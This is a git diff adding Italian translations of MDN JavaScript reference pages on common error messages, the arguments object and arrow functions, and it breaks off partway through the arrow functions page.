@@ -0,0 +1,54 @@
+---
+title: 'ReferenceError: invalid assignment left-hand side'
+slug: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+tags:
+  - Errori
+  - JavaScript
+  - ReferenceError
+translation_of: Web/JavaScript/Reference/Errors/Invalid_assignment_left-hand_side
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Messaggio">Messaggio</h2>
+
+<pre class="syntaxbox">ReferenceError: invalid assignment left-hand side
+</pre>
+
+<h2 id="Tipo_di_errore">Tipo di errore</h2>
+
+<p>{{jsxref("ReferenceError")}}.</p>
+
+<h2 id="Che_cosa_è_andato_storto">Che cosa è andato storto?</h2>
+
+<p>C'è stato un assegnamento inaspettato da qualche parte. Ciò, ad esempio, potrebbe essere dovuto alla confusione tra  l' <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">operatore d'assegnazione</a> e l' <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">operatore di confronto</a>. Mentre un solo segno  di "<code>=</code>" assegna un valore ad una variabile, l'operatore "<code>==</code>" o "<code>===</code>" effettua il confronto tra valori.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js example-bad">if (Math.PI = 3 || Math.PI = 4) {
+  console.log('niente!');
+}
+// ReferenceError: invalid assignment left-hand side
+
+var str = 'Ciao, '
++= 'sono io '
++= 'cosa stai cercando?';
+// ReferenceError: invalid assignment left-hand side
+</pre>
+
+<p>Nella dichiarazione <code>if</code>, puoi usare un operatore di confronto ("=="), e per la concatenazione di stringhe è necessario  l'operatore più ("+").</p>
+
+<pre class="brush: js example-good">if (Math.PI == 3 || Math.PI == 4) {
+  console.log('niente!');
+}
+
+var str = 'Ciao, '
++ 'dall/' '
++ 'altra parte!';
+</pre>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Assegnamento degli operatori</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">Operatori di comparazione</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/it/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
new file mode 100644
index 0000000000..c49646b4b1
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/missing_semicolon_before_statement/index.html
@@ -0,0 +1,78 @@
+---
+title: 'SyntaxError: missing ; before statement'
+slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+tags:
+  - Errore di Sintassi
+  - Errori
+  - JavaScript
+  - Oggetti
+  - SyntaxError
+  - Variabili
+translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Messaggio">Messaggio</h2>
+
+<pre class="syntaxbox">SyntaxError: Expected - Previsto ';' (Edge)
+SyntaxError: missing  - Mancante; prima della dichiarazione (Firefox)
+</pre>
+
+<p> </p>
+
+<h2 id="Tipo_di_errore">Tipo di errore</h2>
+
+<p>{{jsxref("SyntaxError")}}.</p>
+
+<h2 id="Cosa_è_andato_storto">Cosa è andato storto?</h2>
+
+<p>C'è un punto e virgola (<code>;</code>) mancante. Le <a href="/en-US/docs/Web/JavaScript/Reference/Statements">dichiarazioni in JavaScript </a>devono essere determinate da il punto e virgola (<code>;</code>). Alcune di loro sono soggette all' <a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Inserzione Automatica a Semicolonne (ASI)</a>, ma in questo caso è necessario specificare la semicolonna, in modo che JavaScript legga correttamente il codice sorgente.</p>
+
+<p>In ogni caso, molto spesso, questo errore è solo una conseguenza di un altro, come lo scorretto uso degli apici, o l'uso errato di <code>var</code>. Potresti anche avere troppe parentesi da qualche parte. Ricontrolla la sintassi del codice quando appare questo errore.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Stringhe_senza_escape_()">Stringhe senza escape (\)</h3>
+
+<p>Questo errore accade frequentemente quando si usa un apostrofo senza carattere di escape. Il motore di JavaScript si aspetta la fine di una stringa. Per esempio:</p>
+
+<pre class="brush: js example-bad">var foo = 'Tom's bar';
+// (') interrompe è atteso ("..'..") o ('..\'..')
+// SyntaxError: missing ; prima della dichiarazione</pre>
+
+<p>Per risolvere, usa le virgolette oppure un carattere di escape (backslash):</p>
+
+<pre class="brush: js example-good">var foo = "Tom's bar"; &lt;- in questo modo
+var foo = 'Tom\'s bar'; &lt;- in questo modo
+</pre>
+
+<p> </p>
+
+<h3 id="Dichiarare_le_proprietà_con_var">Dichiarare le proprietà con var</h3>
+
+<p><strong>Non </strong>puoi dichiarare le proprietà di un oggetto o di un array con una dichiarazione <code>var</code>.</p>
+
+<pre class="brush: js example-bad">var obj = {};
+var obj.foo = 'hi';
+// SyntaxError missing ; before statement
+
+var array = [];
+var array[0] = 'there';
+// SyntaxError missing ; before statement
+</pre>
+
+<p>Prova invece ad omettere la parola chiave <code>var</code>:</p>
+
+<pre class="brush: js example-good">var obj = {};
+obj.foo = 'hi';
+
+var array = [];
+array[0] = 'there';
+</pre>
+
+<h2 id="Controlla_anche">Controlla anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#Automatic_semicolon_insertion">Inserzione Automatica a Semicolonna (ASI)</a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements">Dichiarazioni in JavaScript</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/too_much_recursion/index.html b/files/it/web/javascript/reference/errors/too_much_recursion/index.html
new file mode 100644
index 0000000000..049ed04cf0
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/too_much_recursion/index.html
@@ -0,0 +1,72 @@
+---
+title: 'InternalError: too much recursion'
+slug: Web/JavaScript/Reference/Errors/Too_much_recursion
+tags:
+  - Errore
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Errors/Too_much_recursion
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<p>The JavaScript exception "too much recursion" or "Maximum call stack size exceeded" occurs when there are too many function calls, or a function is missing a base case.</p>
+
+<h2 id="Message">Message</h2>
+
+<pre class="syntaxbox notranslate">Error: Spazio nello stack esaurito (Edge)
+InternalError: Troppa ricorsione (Firefox)
+RangeError: Dimensioni massime dello stack superate (Chrome)
+</pre>
+
+<h2 id="Error_type">Error type</h2>
+
+<p>{{jsxref("InternalError")}}.</p>
+
+<h2 id="Cosè_andato_storto">Cos'è andato storto?</h2>
+
+<p>Una funzione che si chiama da sola si chiama <em>funzione ricorsiva</em>. Una volta che la condizione è soddisfatta, la funzione smette di chiamarsi. Questo si chiama <em>caso di base.</em></p>
+
+<p>In certi versi, la ricorsione è analoga ai cicli. Entrambi eseguono lo stesso codice più volte, ed entrambi richiedono una condizione(per evitare cicli infiniti,o in questo caso, ricorsioni infinite). Quando ci sono troppe chiamate, o manca il caso di base , JavaScript lancerà questo errore.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<p>Questa funzione ricorsiva si chiama 10 volte, secondo le condizioni d'uscita</p>
+
+<pre class="brush: js notranslate">function ciclo(x) {
+  if (x &gt;= 10) // "x &gt;= 10" condizione d'uscita
+    return;
+  // do stuff
+  ciclo(x + 1); // chiamata ricorsiva
+}
+ciclo(0);</pre>
+
+<p>Impostare questa condizione a valori estremamente alti non funzionerà:</p>
+
+<pre class="brush: js example-bad notranslate">function ciclo(x) {
+  if (x &gt;= 1000000000000)
+    return;
+  // fà cose
+  ciclo(x + 1);
+}
+ciclo(0);
+
+// Errore Interno: troppa ricorsione</pre>
+
+<p>Alla funzione manca un caso base.Visto che non c'è condizione di uscita, la funzione chiama se stessa all'infinito.</p>
+
+<pre class="brush: js example-bad notranslate">function ciclo(x) {
+ // Manca caso base
+
+ciclo(x + 1); // Chiamata ricorsiva
+}
+
+ciclo(0);
+
+// Errore Interno: troppa ricorsione</pre>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+
+
+<ul>
+ <li>{{Glossary("Recursion")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/unexpected_token/index.html b/files/it/web/javascript/reference/errors/unexpected_token/index.html
new file mode 100644
index 0000000000..17a9c78a4c
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/unexpected_token/index.html
@@ -0,0 +1,50 @@
+---
+title: 'SyntaxError: Unexpected token'
+slug: Web/JavaScript/Reference/Errors/Unexpected_token
+tags:
+  - Errori
+  - JavaScript
+  - Sintassi
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_token
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Messaggio">Messaggio</h2>
+
+<pre class="syntaxbox">SyntaxError: espressione prevista, si ottiene "x"
+SyntaxError: nome proprietà previsto, si ottiene "x"
+SyntaxError: target previsto, si ottiene "x"
+SyntaxError: nome dell'argomento rest previsto, si ottiene "x"
+SyntaxError: parentesi di chiusura prevista, si ottiene "x"
+SyntaxError: previsto '=&gt;' dopo la lista degli argomenti, si ottiene "x"
+</pre>
+
+<h2 id="Tipo_di_errore">Tipo di errore</h2>
+
+<p>{{jsxref("SyntaxError")}}</p>
+
+<h2 id="Cosa_è_andato_storto">Cosa è andato storto?</h2>
+
+<p>Era atteso un costrutto specifico del linguaggio, ma è stato fornito qualcosa di diverso. Potrebbe trattarsi di un semplice errore di digitazione.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Espressione_prevista">Espressione prevista</h3>
+
+<p>Ad esempio, non è permesso terminare una lista di argomenti con la virgola, in quanto JavaScript si aspetta un altro argomento.</p>
+
+<pre class="brush: js example-bad">Math.max(2, 42,);
+// SyntaxError: expected expression, got ')'
+</pre>
+
+<p>Sarebbe invece corretto omettere la virgola o specificare un altro argomento (che potrebbe anche essere un espressione):</p>
+
+<pre class="brush: js example-good">Math.max(2, 42);
+Math.max(2, 42, 13 + 37);
+</pre>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Math.max()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/errors/unexpected_type/index.html b/files/it/web/javascript/reference/errors/unexpected_type/index.html
new file mode 100644
index 0000000000..632b9bf756
--- /dev/null
+++ b/files/it/web/javascript/reference/errors/unexpected_type/index.html
@@ -0,0 +1,67 @@
+---
+title: 'TypeError: "x" is (not) "y"'
+slug: Web/JavaScript/Reference/Errors/Unexpected_type
+tags:
+  - Errori
+  - JavaScript
+  - TypeError
+translation_of: Web/JavaScript/Reference/Errors/Unexpected_type
+---
+<div>{{jsSidebar("Errors")}}</div>
+
+<h2 id="Messaggio">Messaggio</h2>
+
+<pre class="syntaxbox">TypeError: "x" is (not) "y"
+
+Examples:
+TypeError: "x" is undefined
+TypeError: "x" is null
+TypeError: "undefined" is not an object
+TypeError: "x" is not an object or null
+TypeError: "x" is not a symbol
+</pre>
+
+<h2 id="Tipo_di_errore">Tipo di errore</h2>
+
+<p>{{jsxref("TypeError")}}.</p>
+
+<h2 id="Cosa_è_andato_storto">Cosa è andato storto?</h2>
+
+<p>C'è stato un tipo inaspettato. Questo accade spesso con valori {{jsxref("undefined")}} o {{jsxref("null")}}.</p>
+
+<p>Inoltre, alcuni metodi, come {{jsxref("Object.create()")}} o {{jsxref("Symbol.keyFor()")}}, richiedono che sia fornito un tipo specifico.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Casi_non_validi">Casi non validi</h3>
+
+<pre class="brush: js example-bad">// casi undefined e null in cui il metodo substring non funzionerà
+var foo = undefined;
+foo.substring(1); // TypeError: foo non è definita
+
+var foo = null;
+foo.substring(1); // TypeError: foo è null
+
+
+// Alcuni metodi potrebbero richiedere un tipo specifico
+var foo = {}
+Symbol.keyFor(foo); // TypeError: foo non è un simbolo
+
+var foo = 'bar'
+Object.create(foo); // TypeError: "foo" non è un oggetto o è null
+</pre>
+
+<h3 id="Risolvere_il_problema">Risolvere il problema</h3>
+
+<p>Per risolvere il problema di valori <code>undefined</code> o <code>null</code>, si può usare l'operatore <a href="/en-US/docs/Web/JavaScript/Reference/Operators/typeof">typeof</a> operator, ad esempio.</p>
+
+<pre class="brush: js">if (typeof foo !== 'undefined') {
+  // Ora sappiamo che foo è definita, possiamo procedere.
+}</pre>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("undefined")}}</li>
+ <li>{{jsxref("null")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/functions_and_function_scope/arguments/index.html b/files/it/web/javascript/reference/functions_and_function_scope/arguments/index.html
new file mode 100644
index 0000000000..c277074bca
--- /dev/null
+++ b/files/it/web/javascript/reference/functions_and_function_scope/arguments/index.html
@@ -0,0 +1,224 @@
+---
+title: Oggetto 'arguments'
+slug: Web/JavaScript/Reference/Functions_and_function_scope/arguments
+translation_of: Web/JavaScript/Reference/Functions/arguments
+---
+<div>
+<div>{{jsSidebar("Functions")}}</div>
+</div>
+
+<p>L'oggetto <strong><code>arguments</code></strong> è un oggetto <code>Array</code>-like corrispondente agli argomenti passati in una funzione </p>
+
+<p>{{EmbedInteractiveExample("pages/js/functions-arguments.html")}}</p>
+
+<p class="hidden">Il codice sorgente di questo esempio interattivo è ospitato in un repository di Github.<br>
+ Se vuoi contribuire al progetto di esempi interattivi, per favore clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">arguments</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>L'oggetto <code>arguments</code> è una variabile locale disponibile in tutte le funzioni (non-arrow). Si può fare riferimento agli argomenti di una funzione, al suo interno, usando l'oggetto  <code>arguments</code>. Questo oggetto contiene un elemento per ogni argomento passato alla funzione, il primo elemento è indicizzato a 0. Per esempio, se a una funzione sono passati tre argomenti, ci si può riferire ad essi come segue:</p>
+
+<pre class="brush: js">arguments[0]
+arguments[1]
+arguments[2]
+</pre>
+
+<p>Gli argomenti possono anche essere settati:</p>
+
+<pre class="brush: js">arguments[1] = 'nuovo valore';
+</pre>
+
+<p>L'oggetto <code>arguments</code> non è un {{jsxref("Array")}}. E' simile a un  <code>Array</code>, ma non ha le proprietà dell'<code>Array,</code> eccetto <code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/length">length</a></code>. Per esempio, non ha il metodo <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/pop">pop</a></code>. Tuttavia può essere convertito in un vero <code>Array</code>:</p>
+
+<pre class="brush: js">var args = Array.prototype.slice.call(arguments);
+var args = [].slice.call(arguments);
+
+// ES2015
+const args = Array.from(arguments);
+</pre>
+
+<div class="warning">
+<p class="brush: js">Usare slice su arguments impedisce le ottimizzazioni in alcuni motori JavaScript (per esempio V8 - <a href="https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments">più informazioni</a>). Se ne avete bisogno, provate a costruire un nuovo array iterando sull'oggetto arguments, piuttosto. Un'alternativa potrebbe essere usare l'odiato costruttore <code>Array</code> come una funzione:</p>
+
+<pre class="brush: js">var args = (arguments.length === 1 ? [arguments[0]] : Array.apply(null, arguments));</pre>
+</div>
+
+<p>Si può usare l'oggetto <code>arguments</code> se si chiama una funzione con più argomenti di quanti la funzione dichiari formalmente di accettare. Questa tecnica è utile per le funzioni cui possono essere passati un numero variabile di argomenti. Si usi <code><a href="/en-US/docs/JavaScript/Reference/Functions_and_function_scope/arguments/length">arguments.length</a></code> per determinare il numero di argomenti passati alla funzione, e quindi si processi ogni argomento usando l'oggetto <code>arguments</code>. Per determinare il numero di parametri presenti nella <a href="/en-US/docs/Glossary/Signature/Function">dichiarazione</a> di una funzione, si usi la proprietà <code><a href="/en-US/docs/JavaScript/Reference/Global_Objects/Function/length">Function.length</a></code>.</p>
+
+<h3 id="Usare_typeof_con_Arguments">Usare <code>typeof</code> con Arguments</h3>
+
+<p>Il typeof di arguments ritorna 'object'. </p>
+
+<pre>console.log(typeof arguments); // 'object' </pre>
+
+<p>Il typeof di ogni signolo argomento può essere determinato con l'uso degli indici.</p>
+
+<pre>console.log(typeof arguments[0]); //this will return the typeof individual arguments.</pre>
+
+<h3 id="Usare_la_sintassi_Spread_con_Arguments">Usare la sintassi Spread con Arguments</h3>
+
+<p>Come è possibile fare con qualsiasi oggetto Array-like, si può usare il metodo {{jsxref("Array.from()")}} o lo <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Spread_operator">spread operator</a> per convertire arguments in un vero Array:</p>
+
+<pre class="brush: js">var args = Array.from(arguments);
+var args = [...arguments];
+</pre>
+
+<h2 id="Proprietà">Proprietà</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/callee">arguments.callee</a></code></dt>
+ <dd>Riferimento alla funzione in esecuzione.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/caller">arguments.caller</a></code> {{ Obsolete_inline() }}</dt>
+ <dd>Riferimento alla funzione che ha invocato la funzione in esecuzione.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/length">arguments.length</a></code></dt>
+ <dd>Riferimento al numero di argomenti passati alla funzione.</dd>
+ <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments/@@iterator">arguments[@@iterator]</a></code></dt>
+ <dd>Ritorna un nuovo oggetto Array Iterator che contiene i valori per ogni indice in arguments.</dd>
+</dl>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Definire_una_funzione_che_concatena_divere_stringhe">Definire una funzione che concatena divere stringhe </h3>
+
+<p>Questo esempio definisce una funzione che concatena diverse stringhe. L'unico argomento formale per la funzione è una stringa che specifica il carattere di separazione per gli elementi da concatenare. La funzione si definisce come segue:</p>
+
+<pre class="brush:js">function myConcat(separator) {
+  var args = Array.prototype.slice.call(arguments, 1);
+  return args.join(separator);
+}</pre>
+
+<p>Si può passare un numero indefinito di argomenti a questa funzione, e lei creerà una lista inserendo ciascun argomento come item della lista. </p>
+
+<pre class="brush:js">// returns "red, orange, blue"
+myConcat(', ', 'red', 'orange', 'blue');
+
+// returns "elephant; giraffe; lion; cheetah"
+myConcat('; ', 'elephant', 'giraffe', 'lion', 'cheetah');
+
+// returns "sage. basil. oregano. pepper. parsley"
+myConcat('. ', 'sage', 'basil', 'oregano', 'pepper', 'parsley');</pre>
+
+<h3 id="Definire_una_funzione_che_crea_liste_HTML">Definire una funzione che crea liste HTML</h3>
+
+<p>Questo esempio definisce una funzione che crea una stringa contenente l'HTML di una lista. L'unico argomento formale della funzione è una  stringa che è "<code>u</code>" se la lista deve essere ordinata, e "<code>o</code>" se la lista deve essere ordinata (numerata). La funzione è definita come segue:</p>
+
+<pre class="brush:js">function list(type) {
+  var result = '&lt;' + type + 'l&gt;&lt;li&gt;';
+  var args = Array.prototype.slice.call(arguments, 1);
+  result += args.join('&lt;/li&gt;&lt;li&gt;');
+  result += '&lt;/li&gt;&lt;/' + type + 'l&gt;'; // end list
+
+  return result;
+}</pre>
+
+<p>Si può passare un numero indefinito di argomenti a questa funzione, e lei aggiungerà ogni argomento come un elemento della lista del tipo indicato. Per esempio:</p>
+
+<pre class="brush:js">var listHTML = list('u', 'One', 'Two', 'Three');
+
+/* listHTML is:
+
+"&lt;ul&gt;&lt;li&gt;One&lt;/li&gt;&lt;li&gt;Two&lt;/li&gt;&lt;li&gt;Three&lt;/li&gt;&lt;/ul&gt;"
+
+*/</pre>
+
+<h3 id="Parametri_rest_default_e_destructured">Parametri rest, default, e destructured</h3>
+
+<p>L'oggetto <code>arguments</code> può essere usato insieme a parametri <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, e <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a>.</p>
+
+<pre class="brush: js">function foo(...args) {
+  return args;
+}
+foo(1, 2, 3); // [1,2,3]
+</pre>
+
+<p>Sebbene la presenza di parametri <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a> non altera il <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode#Making_eval_and_arguments_simpler">comportamento dell'oggetto <code>arguments</code> nel codice scritto in strict mode</a>, c'è una sottile differenza tra modalità strict e non-strict.</p>
+
+<p>Quando una funzione non-strict <strong>non</strong> <strong>contiene</strong> parametri <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a>, allora i valori nell'oggetto <code>arguments</code>  <strong>tracciano</strong> il valore degli argomenti (e vice versa). Si guardi il codice qui sotto:</p>
+
+<pre class="brush: js">function func(a) {
+  arguments[0] = 99; // updating arguments[0] also updates a
+  console.log(a);
+}
+func(10); // 99
+</pre>
+
+<p>e</p>
+
+<pre class="brush: js">function func(a) {
+  a = 99; // updating a also updates arguments[0]
+  console.log(arguments[0]);
+}
+func(10); // 99
+</pre>
+
+<p>Quando una funzione non-strict <strong>contiene</strong> parametri <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">rest</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">default</a>, o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destructured</a>, allora i valori nell'oggetto <code>arguments</code> <strong>non tracciano</strong> il valore degli argomenti (e vice versa). Al contrario, riflettono gli argomenti forniti al momento dell'invocazione:</p>
+
+<pre class="brush: js">function func(a = 55) {
+  arguments[0] = 99; // updating arguments[0] does not also update a
+  console.log(a);
+}
+func(10); // 10</pre>
+
+<p>e</p>
+
+<pre class="brush: js">function func(a = 55) {
+  a = 99; // updating a does not also update arguments[0]
+  console.log(arguments[0]);
+}
+func(10); // 10
+</pre>
+
+<p>e</p>
+
+<pre class="brush: js">function func(a = 55) {
+  console.log(arguments[0]);
+}
+func(); // undefined</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Impelementata in JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-10.6', 'Arguments Object')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-arguments-exotic-objects', 'Arguments Exotic Objects')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">La tavola delle compatibilità in questa pagina è generata da dati strutturati. Se volete contribuire ai dati, per favore visitate <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e mandateci una pull-request-</div>
+
+<p>{{Compat("javascript.functions.arguments")}}</p>
+
+<h2 id="Si_guardi_anche">Si guardi anche</h2>
+
+<ul>
+ <li>{{jsxref("Function")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/functions_and_function_scope/arrow_functions/index.html b/files/it/web/javascript/reference/functions_and_function_scope/arrow_functions/index.html
new file mode 100644
index 0000000000..2dd258966d
--- /dev/null
+++ b/files/it/web/javascript/reference/functions_and_function_scope/arrow_functions/index.html
@@ -0,0 +1,394 @@
+---
+title: Funzioni a freccia
+slug: Web/JavaScript/Reference/Functions_and_function_scope/Arrow_functions
+tags:
+  - ECMAScript6
+  - Funzioni
+  - Intermediate
+  - JavaScript
+  - Reference
+translation_of: Web/JavaScript/Reference/Functions/Arrow_functions
+---
+<div>{{jsSidebar("Functions")}}</div>
+
+<p>Una <strong>funzione a freccia </strong>ha una sintassi più compatta rispetto alla <a href="/it/docs/Web/JavaScript/Reference/Operators/function">notazione a funzione</a> e non associa i propri <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code>, <a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a>, <a href="/en-US/docs/Web/JavaScript/Reference/Operators/super">super</a> o <a href="/en-US/docs/Web/JavaScript/Reference/Operators/new.target">new.target</a>. Le funzioni a freccia sono sempre <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/name">anonime</a>. Questa notazione è maggiormente indicata per le funzioni che non sono metodi, e non possono essere usate come costruttori.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<h3 id="Sintassi_di_base">Sintassi di base</h3>
+
+<pre class="syntaxbox"><strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt; {</strong> <em>statements</em> <strong>}</strong>
+<strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>) =&gt;</strong> <em>expression</em>
+// equivalente a: <strong>(</strong><em>param1</em>, <em>param2</em>, …, <em>paramN</em><strong>)</strong> =&gt; { return <em>expression</em>; }
+
+// Le Parentesi sono opzionali se è presente un solo parametro:
+<em>(singleParam)</em> <strong>=&gt; {</strong> <em>statements</em> <strong>}</strong>
+<em>singleParam</em> <strong>=&gt;</strong> { <em>statements }</em>
+
+// Una funzione senza parametri richiede comunque le parentesi:
+<strong>() =&gt; {</strong> <em>statements</em> <strong>}
+</strong>() =&gt; <em>expression</em> // equivalente a: () =&gt; { return <em>expression</em>; }
+</pre>
+
+<h3 id="Sintassi_avanzata">Sintassi avanzata</h3>
+
+<pre class="syntaxbox">// Il body tra parentesi indica la restituzione di un oggetto:
+<em>params</em> =&gt; ({<em>foo: bar</em>})
+
+// Sono supportati <a href="/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters">...rest</a> e <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters">i parametri di default</a>
+(<em>param1</em>, <em>param2</em>, <strong>...rest</strong>) =&gt; { <em>statements</em> }
+(<em>param1</em> <strong>= defaultValue1</strong>, <em>param2</em>, …, paramN <strong>= defaultValueN</strong>) =&gt; { <em>statements</em> }
+
+// Si può anche <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment">destrutturare</a> all'interno della lista dei parametri
+var f = ([a, b] = [1, 2], {x: c} = {x: a + b}) =&gt; a + b + c;
+f();  // 6
+</pre>
+
+<p>Esempi dettagliati di sintassi sono disponibili <a href="http://wiki.ecmascript.org/doku.php?id=harmony:arrow_function_syntax">qui</a>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Vedi anche <a href="https://hacks.mozilla.org/2015/06/es6-in-depth-arrow-functions/">"ES6 In Depth: Arrow functions" su hacks.mozilla.org</a>.</p>
+
+<p>L'introduzione delle funzioni a freccia è stata influenzata da due fattori: sintassi più compatta e la non associazione di <code>this</code>.</p>
+
+<h3 id="Funzioni_più_corte">Funzioni più corte</h3>
+
+<p>In alcuni pattern, è meglio avere funzioni più corte. Per comparazione:</p>
+
+<pre class="brush: js">var materials = [
+  "Hydrogen",
+  "Helium",
+  "Lithium",
+  "Beryllium"
+];
+
+materials.map(function(material) {
+  return material.length;
+}); <code>// [8, 6, 7, 9]
+</code>
+materials.map((material) =&gt; {
+<code>  return material.length;
+}); // [8, 6, 7, 9]
+</code>
+<code>materials.map(material =&gt; material.length); // [8, 6, 7, 9]</code></pre>
+
+<h3 id="Mancato_binding_di_this">Mancato binding di <code>this</code></h3>
+
+<p>Prima delle funzioni a freccia, ogni nuova funzione definiva il proprio  <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> (un nuovo oggetto nel caso di un costruttore, undefined se una funzione viene chiamata in <a href="/en-US/docs/Web/JavaScript/Reference/Strict_mode">strict mode</a>, l'oggetto di contesto se la funzione viene chiamata come "metodo", etc.). Questo è risultato fastidioso in uno stile di programmazione orientato agli oggetti.</p>
+
+<pre class="brush: js">function Person() {
+  // The Person() constructor defines `this` as an instance of itself.
+  this.age = 0;
+
+  setInterval(function growUp() {
+    // In non-strict mode, the growUp() function defines `this`
+    // as the global object, which is different from the `this`
+    // defined by the Person() constructor.
+    this.age++;
+  }, 1000);
+}
+
+var p = new Person();</pre>
+
+<p>In ECMAScript 3/5, questo problema veniva aggirato assegnando il valore this a una variabile.</p>
+
+<pre class="brush: js">function Person() {
+  var that = this;
+  that.age = 0;
+
+  setInterval(function growUp() {
+    // The callback refers to the `that` variable of which
+    // the value is the expected object.
+    that.age++;
+  }, 1000);
+}</pre>
+
+<p>In alternativa, poteva essere usato <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind</a> per assegnare il valore corretto di this da usare nella funzione  <code>growUp()</code>.</p>
+
+<p>Una funziona a freccia invece non crea  il proprio <code>this</code>, e quindi <code>this</code> mantiene il significato che aveva all'interno dello scope genitore. Perciò il codice seguente funziona come ci si aspetta.</p>
+
+<pre class="brush: js">function Person(){
+  this.age = 0;
+
+  setInterval(() =&gt; {
+    this.age++; // |this| properly refers to the person object
+  }, 1000);
+}
+
